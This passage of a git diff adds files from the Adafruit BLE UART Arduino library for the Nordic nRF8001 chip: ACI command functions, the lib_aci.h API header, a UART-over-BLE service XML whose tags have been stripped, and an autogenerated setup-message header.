aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + } + aci_stat->confirmation_pending = false; + aci_stat->data_credit_available = aci_stat->data_credit_total; + + } + break; + + case ACI_EVT_TIMING: + aci_stat->connection_interval = aci_evt->params.timing.conn_rf_interval; + aci_stat->slave_latency = aci_evt->params.timing.conn_slave_rf_latency; + aci_stat->supervision_timeout = aci_evt->params.timing.conn_rf_timeout; + break; + + + } + + } + + return status; +} + + +bool lib_aci_send_ack(aci_state_t *aci_stat, const uint8_t pipe) +{ + bool ret_val = false; + { + acil_encode_cmd_send_data_ack(&(msg_to_send.buffer[0]), pipe); + is_cmd_response_expected = false; + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_send_nack(aci_state_t *aci_stat, const uint8_t pipe, const uint8_t error_code) +{ + bool ret_val = false; + + { + is_cmd_response_expected = false; + acil_encode_cmd_send_data_nack(&(msg_to_send.buffer[0]), pipe, error_code); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_broadcast(const uint16_t timeout, const uint16_t adv_interval) +{ + aci_cmd_params_broadcast_t aci_cmd_params_broadcast; + if (timeout > 16383) + { + return false; + } + + // The adv_interval should be between 160 and 16384 (which translates to the advertisement + // interval values 100 ms and 10.24 s. + if ((160 > adv_interval) || (adv_interval > 16384)) + { + return false; + } + + aci_cmd_params_broadcast.timeout = timeout; + aci_cmd_params_broadcast.adv_interval = adv_interval; + acil_encode_cmd_broadcast(&(msg_to_send.buffer[0]), &aci_cmd_params_broadcast); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_open_adv_pipes(const uint8_t * const adv_service_data_pipes) +{ + uint8_t i; + + for (i = 0; i < PIPES_ARRAY_SIZE; i++) + { + aci_cmd_params_open_adv_pipe.pipes[i] = adv_service_data_pipes[i]; + } + + acil_encode_cmd_open_adv_pipes(&(msg_to_send.buffer[0]), &aci_cmd_params_open_adv_pipe); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_open_adv_pipe(const uint8_t pipe) +{ + uint8_t byte_idx = pipe / 8; + + aci_cmd_params_open_adv_pipe.pipes[byte_idx] |= (0x01 << (pipe % 8)); + acil_encode_cmd_open_adv_pipes(&(msg_to_send.buffer[0]), &aci_cmd_params_open_adv_pipe); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_read_dynamic_data() +{ + acil_encode_cmd_read_dynamic_data(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_write_dynamic_data(uint8_t sequence_number, uint8_t* dynamic_data, uint8_t length) +{ + acil_encode_cmd_write_dynamic_data(&(msg_to_send.buffer[0]), sequence_number, dynamic_data, length); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_dtm_command(uint8_t dtm_command_msbyte, uint8_t dtm_command_lsbyte) +{ + aci_cmd_params_dtm_cmd_t aci_cmd_params_dtm_cmd; + aci_cmd_params_dtm_cmd.cmd_msb = dtm_command_msbyte; + aci_cmd_params_dtm_cmd.cmd_lsb = dtm_command_lsbyte; + acil_encode_cmd_dtm_cmd(&(msg_to_send.buffer[0]), &aci_cmd_params_dtm_cmd); + return hal_aci_tl_send(&msg_to_send); +} + +void lib_aci_flush(void) +{ + m_aci_q_flush(); +} + +void lib_aci_debug_print(bool enable) +{ + hal_aci_debug_print(enable); +} + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h new file mode 100755 index 0000000..bb1bf16 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h @@ -0,0 +1,507 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRENTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ +/* Attention! +* To maintain compliance with Nordic Semiconductor ASA’s Bluetooth profile +* qualification listings, this section of source code must not be modified. +*/ + +#ifndef LIB_ACI_H__ +#define LIB_ACI_H__ + +/** @file +* @brief ACI library +*/ + +/** @addtogroup lib_aci +@{ +@brief Library for the logical part of the Application Controller Interface (ACI) +*/ + + +#include "hal_platform.h" +#include "hal/hal_aci_tl.h" +#include "aci.h" +#include "aci_cmds.h" +#include "aci_evts.h" + + + + +#define EVT_CMD_RESPONSE_MIN_LENGTH 3 + +#define PIPES_ARRAY_SIZE ((ACI_DEVICE_MAX_PIPES + 7)/8) + +/* Same size as a hal_aci_data_t */ +typedef struct hal_aci_evt_t{ + uint8_t debug_byte; + aci_evt_t evt; +} hal_aci_evt_t; + +typedef struct +{ + uint8_t location; /**< enum aci_pipe_store_t */ + aci_pipe_type_t pipe_type; +} services_pipe_type_mapping_t; + +typedef struct aci_setup_info_t +{ + services_pipe_type_mapping_t *services_pipe_type_mapping; + uint8_t number_of_pipes; + hal_aci_data_t *setup_msgs; + uint8_t num_setup_msgs; +} aci_setup_info_t; + +// aci_struct that will contain +// total initial credits +// current credit +// current state of the aci (setup/standby/active/sleep) +// open remote pipe pending +// close remote pipe pending +// Current pipe available bitmap +// Current pipe closed bitmap +// Current connection interval, slave latency and link supervision timeout +// Current State of the the GATT client (Service Discovery status) +// Relationship of bond to peer address +typedef struct aci_state_t +{ + aci_setup_info_t aci_setup_info; /* Data structures that are created from nRFgo Studio */ + uint8_t bonded; /* ( aci_bond_status_code_t ) Is the nRF8001 bonded to a peer device */ + uint8_t data_credit_total; /* Total data credit available for the specific version of the nRF8001, total equals available when a link is established */ + aci_device_operation_mode_t device_state; /* Operating mode of the nRF8001 */ + + /* Start : Variables that are valid only when in a connection */ + uint8_t data_credit_available; /* Available data credits at a specific point of time, ACI_EVT_DATA_CREDIT updates the available credits */ + + uint16_t connection_interval; /* Multiply by 1.25 to get the connection interval in milliseconds*/ + uint16_t slave_latency; /* Number of consecutive connection intervals that the nRF8001 is not required to transmit. Use this to save power */ + uint16_t supervision_timeout; /* Multiply by 10 to get the supervision timeout in milliseconds */ + + uint8_t pipes_open_bitmap[PIPES_ARRAY_SIZE]; /* Bitmap -> pipes are open and can be used for sending data over the air */ + uint8_t pipes_closed_bitmap[PIPES_ARRAY_SIZE]; /* Bitmap -> pipes are closed and cannot be used for sending data over the air */ + bool confirmation_pending; /* Attribute protocol Handle Value confirmation is pending for a Handle Value Indication + (ACK is pending for a TX_ACK pipe) on local GATT Server*/ + /* End : Variables that are valid only when in a connection */ + +} aci_state_t; + + + +#define DISCONNECT_REASON_CX_TIMEOUT 0x08 +#define DISCONNECT_REASON_CX_CLOSED_BY_PEER_DEVICE 0x13 +#define DISCONNECT_REASON_POWER_LOSS 0x14 +#define DISCONNECT_REASON_CX_CLOSED_BY_LOCAL_DEVICE 0x16 +#define DISCONNECT_REASON_ADVERTISER_TIMEOUT 0x50 + + +/** @name Functions for library management */ +//@{ + +/** @brief Function to enable printing of all ACI commands sent and ACI events received + * @details This function shall be used to enable or disable the debug printing. + Debug printing is disabled by default. + */ +void lib_aci_debug_print(bool enable); + +/** @brief Initialization function. + * @details This function shall be used to initialize/reset ACI Library and also Resets the nRF8001 by togging the reset pin of the nRF8001. This function will reset + * all the variables locally used by ACI library to their respective default values. + */ +void lib_aci_init(aci_state_t *aci_stat); + + +/** @brief Gets the number of currently available ACI credits. + * @return Number of ACI credits. + */ +uint8_t lib_aci_get_nb_available_credits(aci_state_t *aci_stat); + +/** @brief Gets the connection interval in milliseconds. + * @return Connection interval in milliseconds. + */ +uint16_t lib_aci_get_cx_interval_ms(aci_state_t *aci_stat); + +/** @brief Gets the connection interval in multiple of 1.25 ms. + * @return Connection interval in multiple of 1.25 ms. + */ +uint16_t lib_aci_get_cx_interval(aci_state_t *aci_stat); + +/** @brief Gets the current slave latency. + * @return Current slave latency. + */ +uint16_t lib_aci_get_slave_latency(aci_state_t *aci_stat); + +/** @brief Checks if a given pipe is available. + * @param pipe Pipe to check. + * @return True if the pipe is available, otherwise false. + */ +bool lib_aci_is_pipe_available(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Checks if a given pipe is closed. + * @param pipe Pipe to check. + * @return True if the pipe is closed, otherwise false. + */ +bool lib_aci_is_pipe_closed(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Checks if the discovery operation is finished. + * @return True if the discovery is finished. + */ +bool lib_aci_is_discovery_finished(aci_state_t *aci_stat); + + + +//@} + +/** @name ACI Commands available in all modes */ +//@{ + +/** @brief Sets the radio in sleep mode. + * @details The function sends a @c sleep command to the radio. + * If the radio is advertising or connected, it sends back an error, then use lib_aci_radio_reset + * if advertising or disconnect if in a connection. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_sleep(void); + +/** @brief Resets the radio. + * @details The function sends a @c BasebandReset command to the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_radio_reset(void); + +/** @brief Radio starts directed advertising to bonded device. + * @details The function sends a @c DirectedConnect command to the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_direct_connect(void); + +/** @brief Gets the radio's version. + * @details This function sends a @c GetDeviceVersion command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_device_version(void); + +/** @brief Gets the device address. + * @details This function sends a @c GetDeviceAddress command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_address(void); + +/** @brief Gets the temperature. + * @details This function sends a @c GetTemperature command. lib_aci + * calls the @ref lib_aci_transaction_finished_hook() function when the temperature is received. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_temperature(void); + +/** @brief Gets the battery level. + * @details This function sends a @c GetBatteryLevel command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_battery_level(void); + +//@} + +/** @name ACI commands available in Sleep mode */ +//@{ + +/** @brief Wakes up the radio. + * @details This function sends a @c Wakeup command to wake up the radio from + * sleep mode. When woken up the radio sends a @c DeviceStartedEvent and + * a @c CommandResponseEvent. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_wakeup(void); + +//@} + +/** @name ACI commands available in Active mode */ +//@{ + +/** @brief Sets the radio in test mode. + * @details This function sends a @c Test command to the radio. There are two + * Test modes available: + * - UART: DTM commands are received over UART. + * - ACI: DTM commands are received over ACI. + * The same command is used to exit the test mode When receiving + * a @c DeviceStartedEvent the radio has entered the new mode. + * @param enter_exit_test_mode Enter a Test mode, or exit Test mode. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_test(aci_test_mode_change_t enter_exit_test_mode); + +/** @brief Sets the radio's TX power. + * @details This function sends a @c SetTxPower command. + * @param tx_power TX power to be used by the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_set_tx_power(aci_device_output_power_t tx_power); + +/** @brief Tries to connect to a peer device. + * @details This function sends a @c Connect command to the radio. + * @param run_timeout Maximum advertising time in seconds (0 means infinite). + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_connect(uint16_t run_timeout, uint16_t adv_interval); + +/** @brief Tries to bond with a peer device. + * @details This function sends a @c Bond command to the radio. + * @param run_timeout Maximum advertising time in seconds (0 means infinite). + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_bond(uint16_t run_timeout, uint16_t adv_interval); + +/** @brief Disconnects from peer device. + * @details This function sends a @c Disconnect command to the radio. + * @param reason Reason for disconnecting. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_disconnect(aci_state_t *aci_stat, aci_disconnect_reason_t reason); + +/**@brief Sets Local Data. + * @details + * This command updates the value of the characteristic value or the characteristic descriptor stored locally on the device. + * Can be called for all types of pipes as long as the data is stored locally. + * @param ACI state structure + * @param pipe Pipe number on which the data should be set. + * @param value Pointer to the data to set. + * @param size Size of the data to set. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_set_local_data(aci_state_t *aci_stat, uint8_t pipe, uint8_t *value, uint8_t size); + +/** @brief Sends Broadcast message to the radio. + * @details The Broadcast message starts advertisement procedure + * using the given interval with the intention of broadcasting data to a peer device. + * @param timeout Time, in seconds, to advertise before exiting to standby mode (0 means infinite). + * Valid values: 0 to 16383. + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * Valid values: 160 to 16384 (which corresponds to an interval from 100 ms to 10.24 s). + * @return True if the broadcast message is sent successfully to the radio. +*/ +bool lib_aci_broadcast(const uint16_t timeout, const uint16_t adv_interval); + +/** @name Open Advertising Pipes. */ + +/** @brief Sends a command to the radio to set the input pipe to be placed in Advertisement Service Data. + * @details This function sends a command to the radio that places the pipe in + * advertisement service data. To start advertising service data, call this function before + * Connecting, Broadcasting or Bonding to peer. The data that should be sent in the advertisement packets + * must be set using the @c lib_aci_set_local_data function. This function can be called during + * advertising to enable/disable broadcast pipes. + * @param pipe The pipe that has to be placed in advertising service data. + * @return True if the Open Adv Pipe message is sent successfully to the radio. +*/ +bool lib_aci_open_adv_pipe(const uint8_t pipe); + + +/** @name Open Advertising Pipes */ + +/** @brief Sends a command to the radio to set the pipes to be placed in Advertisement Service Data. + * @details This function will send a command to the radio that will set the pipes to be placed in + * advertisement Service Data. To start advertising service data, this function should be called before + * Connecting, Broadcasting or Bonding to peer. This function can be called during + * advertising to enable/disable broadcast pipes. Use this as an alternative to @ref lib_aci_open_adv_pipe + * to avoid multiple function calls for placing multiple pipes in the adv data. + * @param adv_service_data_pipes Pipe bitmap, where '1' indicates that the corresponding + * Valid Values: 0000000000000000 to FEFFFFFFFFFFFF7F (See the ACI Pipe Status Evt bitmap in the nRF8001 datasheet + * TX_BROADCAST pipe data is to be placed in Advertising Service Data fields + * @return true if the Open Adv Pipe message was sent successfully to the radio. +*/ +bool lib_aci_open_adv_pipes(const uint8_t * const adv_service_data_pipes); + + +//@} + +/** @name ACI commands available in Connected mode */ +//@{ + + +/** @brief Sets a given application latency. + * @details This function sends a @c setApplicationLatency command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_set_app_latency(uint16_t latency, aci_app_latency_mode_t latency_mode); + +/** @brief Opens a remote pipe. + * @details This function sends an @c OpenRemotePipe command. + * @param pipe Number of the pipe to open. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_open_remote_pipe(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Closes a remote pipe. + * @details This function sends an @c CloseRemotePipe command. + * @param pipe Pipe number to close. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_close_remote_pipe(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Sends data on a given pipe. + * @details This function sends a @c SendData command with application data to + * the radio. This function memorizes credit use, and checks that + * enough credits are available. + * @param pipe Pipe number on which the data should be sent. + * @param value Pointer to the data to send. + * @param size Size of the data to send. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_send_data(uint8_t pipe, uint8_t *value, uint8_t size); + +/** @brief Requests data from a given pipe. + * @details This function sends a @c RequestData command to the radio. This + * function memorizes credit uses, and check that enough credits are available. + * After this command, the radio sends back either a @c DataReceivedEvent + * or a @c PipeErrorEvent. + * @param pipe Pipe number on which the data is requested. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_request_data(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Sends a L2CAP change connection parameters request. + * @details This function sends a @c ChangeTiming command to the radio. This command triggers a "L2CAP change connection parameters" request + * to the master. If the master rejects or accepts but doesn't change the connection parameters within + * 30 seconds, a timing event with the unchanged connection parameters is sent by the radio. + * If the request is accepted and the master changes connection parameters, a timing event with + * the new connection parameters is sent by the radio. + * If the master doesn't reply to the request within 60 seconds, the radio disconnects. + * @param minimun_cx_interval Minimum connection interval requested, in multiple of 1.25 ms. + * @param maximum_cx_interval Maximum connection interval requested, in multiple of 1.25 ms. + * @param slave_latency requested slave latency. + * @param timeout requested slave timeout, in multiple of 10 ms. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_change_timing(uint16_t minimun_cx_interval, uint16_t maximum_cx_interval, uint16_t slave_latency, uint16_t timeout); + +/** @brief Sends a L2CAP change connection parameters request with the connection predefined preffered connection parameters. + * @details This function sends a @c ChangeTiming command to the radio. This command triggers a "L2CAP change connection parameters" request + * to the master. If the master rejects or accepts but doesn't change the connection parameters within + * 30 seconds, a timing event with the unchanged connection parameters is sent by the radio. + * If the request is accepted and the master changes connection parameters, a timing event with + * the new connection parameters is sent by the radio. + * If the master doesn't reply to the request within 60 seconds, the radio disconnects. + * The timing parameters used are the Timing parameters in the GAP settings in the nRFgo Studio. + * The Timing parameters as stored as the GAP Preferred Peripheral Connection Parameters. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_change_timing_GAP_PPCP(void); + +/** @brief Sends acknowledgement message to peer. + * @details This function sends @c SendDataAck command to radio. The radio is expected + * to send either Handle Value Confirmation or Write response depending + * on whether the data is stored remotely or locally. + * @param pipe Pipe number for which the acknowledgement is to be sent. + * @return True if the ack was sent successfully. False otherwise. +*/ +bool lib_aci_send_ack(aci_state_t *aci_stat, const uint8_t pipe); + +/** @brief Sends negative acknowledgement message to peer. + * @details This function sends @c SendDataNack command to radio. The radio is expected + * to send Error Response to the peer. + * @param pipe Pipe number for which the nack is to be sent. + * @param error_code Error code to be sent in the NACk. + * @return True if the nack was sent successfully. False otherwise. +*/ +bool lib_aci_send_nack(aci_state_t *aci_stat, const uint8_t pipe, const uint8_t error_code); + +/** @brief Sends ReadDynamicData command to the host. + * @details This function sends @c ReadDynamicData command to host. The host is expected + * to send @c CommandResponse back with the dynamic data. The application is expected to + * call this function in a loop until all the dynamic data is read out from the host. + * As long as there is dynamic data to be read from the host, the command response + * for this message has its status field set to ACI_STATUS_TRANSACTION_CONTINUE (0x01). + * The application may chose to store this read out data in a non-volatile memory location + * and later chose to write it back using the function lib_aci_write_dynamic_data. + * @return True if the command was sent successfully through the ACI. False otherwise. +*/ +bool lib_aci_read_dynamic_data(void); + +/** @brief Sends WriteDynamicData command to the host. + * @details This function sends @c WriteDynamicData command to host. The host is expected + * to send @c CommandResponse with the status of this operation. As long as the status field + * in the @c CommandResponse is ACI_STATUS_TRANSACTION_CONTINUE (0x01), the hosts expects + * more dynamic data to be written. This function should ideally be called in a cycle, + * until all the stored dynamic data is sent to the host. This function should be + * called with the dynamic data obtained from the response to a @c ReadDynamicData + * (see @c lib_aci_read_dynamic_data) command. + * @param sequence_number Sequence number of the dynamic data to be sent. + * @param dynamic_data Pointer to the dynamic data. + * @param length Length of the dynamic data. + * @return True if the command was sent successfully through the ACI. False otherwise. +*/ +bool lib_aci_write_dynamic_data(uint8_t sequence_number, uint8_t* dynamic_data, uint8_t length); +//@} + +/** @name ACI commands available while connected in Bond mode */ +//@{ + +/** @brief Sends a SMP Security Request. + * @details This function send a @c BondRequest command to the radio. + * This command triggers a SMP Security Request to the master. If the + * master rejects with a pairing failed or if the bond timer expires the connection is closed. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_bond_request(void); + +/** @brief Set the key requested by the 8001. + * @details This function sends an @c SetKey command to the radio. + * @param key_rsp_type Type of key. + * @param key Pointer to the key to set. + * @param len Length of the key. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_set_key(aci_key_type_t key_rsp_type, uint8_t *key, uint8_t len); + +//@} + + + +/** @name ACI commands available in Test mode */ +//@{ + +/** @brief Sends an echo message + * @details This function sends an @c Echo command to the radio. lib_aci + * places the Echp ACI command in the ACI command queue + * @param message_size Length of the data to send. + * @param message_data Pointer to the data to send. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_echo_msg(uint8_t message_size, uint8_t *message_data); + +/** @brief Sends an DTM command + * @details This function sends an @c DTM command to the radio. + * @param dtm_command_msbyte Most significant byte of the DTM command. + * @param dtm_command_lsbyte Least significant byte of the DTM command. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_dtm_command(uint8_t dtm_command_msbyte, uint8_t dtm_command_lsbyte); + +/** @brief Gets an ACI event from the ACI Event Queue + * @details This function gets an ACI event from the ACI event queue. + * The queue is updated by the SPI driver for the ACI running in the interrupt context + * @param aci_stat pointer to the state of the ACI. + * @param p_aci_data pointer to the ACI Event. The ACI Event received will be copied into this pointer. + * @return True if an ACI Event was copied to the pointer. +*/ +bool lib_aci_event_get(aci_state_t *aci_stat, hal_aci_evt_t * aci_evt); + +/** @brief Flushes the events in the ACI command queues and ACI Event queue + * +*/ +void lib_aci_flush(void); + +//@} + +/** @} */ + +#endif /* LIB_ACI_H__ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml new file mode 100755 index 0000000..765cbcd --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/UART_over_BLE.xml @@ -0,0 +1,142 @@ + + + + 0 + nRF8001_Dx + + UART over BTLE + 0001 + + UART RX + 0002 + + 0 + + 20 + 2 + false + + true + false + false + false + false + + false + false + + 0 + + + + UART TX + 0003 + + 0 + + 20 + 2 + false + + false + false + true + false + false + + false + false + + 0 + + + + + Device Information + 180a + + Hardware Revision String + 2a27 + 0A + 0 + + 9 + 2 + false + + false + false + false + false + false + + true + false + + 0 + + + + + UART + 7 + true + 0 + 0000 + 0 + 0 + 0 + 600 + 0 + 7 + 16 + 1a + 1a + 10 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 6 + 18 + 0 + 10 + + 0001 + + + + 19 + 0000 + + + 18 + + + + + + 1 + 1 + 3 + 0 + 0 + 0 + 0 + false + + + 220 + 10 + 1000 + 10 + 10 + 1280 + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h new file mode 100755 index 0000000..3b088fc --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/services.h @@ -0,0 +1,164 @@ +/* Copyright (c) 2012 Nordic Semiconductor. All Rights Reserved. +* +* The information contained herein is property of Nordic Semiconductor ASA. +* Terms and conditions of usage are described in detail in NORDIC +* SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. +* +* Licensees are granted free, non-transferable use of the information. NO +* WARRANTY of ANY KIND is provided. This heading must NOT be removed from +* the file. +*/ + +/** +* This file is autogenerated by nRFgo Studio 1.14.1.2369 +*/ + +#ifndef SETUP_MESSAGES_H__ +#define SETUP_MESSAGES_H__ + +#include "hal_platform.h" +#include "aci.h" +#define PIPE_GAP_DEVICE_NAME_SET 1 +#define PIPE_UART_OVER_BTLE_UART_RX_RX 2 +#define PIPE_UART_OVER_BTLE_UART_TX_TX 3 +#define PIPE_DEVICE_INFORMATION_HARDWARE_REVISION_STRING_SET 4 + +#define NUMBER_OF_PIPES 4 + +#define SERVICES_PIPE_TYPE_MAPPING_CONTENT {\ + {ACI_STORE_LOCAL, ACI_SET}, \ + {ACI_STORE_LOCAL, ACI_RX}, \ + {ACI_STORE_LOCAL, ACI_TX}, \ + {ACI_STORE_LOCAL, ACI_SET}, \ +} + +#define GAP_PPCP_MAX_CONN_INT 0x12 /**< Maximum connection interval as a multiple of 1.25 msec , 0xFFFF means no specific value requested */ +#define GAP_PPCP_MIN_CONN_INT 0x6 /**< Minimum connection interval as a multiple of 1.25 msec , 0xFFFF means no specific maximum*/ +#define GAP_PPCP_SLAVE_LATENCY 0 +#define GAP_PPCP_CONN_TIMEOUT 0xa /** Connection Supervision timeout multiplier as a multiple of 10msec, 0xFFFF means no specific value requested */ + +#define NB_SETUP_MESSAGES 21 +#define SETUP_MESSAGES_CONTENT {\ + {0x00,\ + {\ + 0x07,0x06,0x00,0x00,0x03,0x02,0x41,0xd7,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x04,0x01,0x01,0x00,0x00,0x06,0x00,0x00,\ + 0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x1c,0x01,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x14,0x03,0x90,0x01,0x64,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x10,0x38,0x02,0xff,0x02,0x58,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x05,0x06,0x10,0x54,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x00,0x04,0x04,0x02,0x02,0x00,0x01,0x28,0x00,0x01,0x00,0x18,0x04,0x04,0x05,0x05,0x00,\ + 0x02,0x28,0x03,0x01,0x0e,0x03,0x00,0x00,0x2a,0x04,0x14,0x07,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x1c,0x04,0x00,0x03,0x2a,0x00,0x01,0x55,0x41,0x52,0x54,0x69,0x63,0x73,0x04,0x04,0x05,\ + 0x05,0x00,0x04,0x28,0x03,0x01,0x02,0x05,0x00,0x01,0x2a,0x06,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x38,0x04,0x03,0x02,0x00,0x05,0x2a,0x01,0x01,0x00,0x00,0x04,0x04,0x05,0x05,0x00,0x06,\ + 0x28,0x03,0x01,0x02,0x07,0x00,0x04,0x2a,0x06,0x04,0x09,0x08,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x54,0x00,0x07,0x2a,0x04,0x01,0x06,0x00,0x12,0x00,0x00,0x00,0x0a,0x00,0x04,0x04,0x02,\ + 0x02,0x00,0x08,0x28,0x00,0x01,0x01,0x18,0x04,0x04,0x10,0x10,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x70,0x00,0x09,0x28,0x00,0x01,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,\ + 0xb5,0x01,0x00,0x40,0x6e,0x04,0x04,0x13,0x13,0x00,0x0a,0x28,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0x8c,0x03,0x01,0x04,0x0b,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,\ + 0xb5,0x02,0x00,0x40,0x6e,0x44,0x10,0x14,0x00,0x00,0x0b,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xa8,0x02,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x13,0x13,0x00,0x0c,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xc4,0x28,0x03,0x01,0x10,0x0d,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,\ + 0xa3,0xb5,0x03,0x00,0x40,0x6e,0x14,0x00,0x14,0x00,0x00,0x0d,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xe0,0x00,0x03,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x14,0x03,0x02,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x20,0xfc,0x0e,0x29,0x02,0x01,0x00,0x00,0x04,0x04,0x02,0x02,0x00,0x0f,0x28,0x00,0x01,0x0a,\ + 0x18,0x04,0x04,0x05,0x05,0x00,0x10,0x28,0x03,0x01,0x02,0x11,\ + },\ + },\ + {0x00,\ + {\ + 0x19,0x06,0x21,0x18,0x00,0x27,0x2a,0x04,0x04,0x09,0x01,0x00,0x11,0x2a,0x27,0x01,0x0a,0x00,0x00,0x00,\ + 0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x1f,0x06,0x40,0x00,0x2a,0x00,0x01,0x00,0x80,0x04,0x00,0x03,0x00,0x00,0x00,0x02,0x02,0x00,0x08,0x04,\ + 0x00,0x0b,0x00,0x00,0x00,0x03,0x02,0x00,0x02,0x04,0x00,0x0d,\ + },\ + },\ + {0x00,\ + {\ + 0x0f,0x06,0x40,0x1c,0x00,0x0e,0x2a,0x27,0x01,0x00,0x80,0x04,0x00,0x11,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x13,0x06,0x50,0x00,0x9e,0xca,0xdc,0x24,0x0e,0xe5,0xa9,0xe0,0x93,0xf3,0xa3,0xb5,0x00,0x00,0x40,0x6e,\ + },\ + },\ + {0x00,\ + {\ + 0x0f,0x06,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\ + },\ + },\ + {0x00,\ + {\ + 0x06,0x06,0xf0,0x00,0x03,0xd3,0x88,\ + },\ + },\ +} + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt 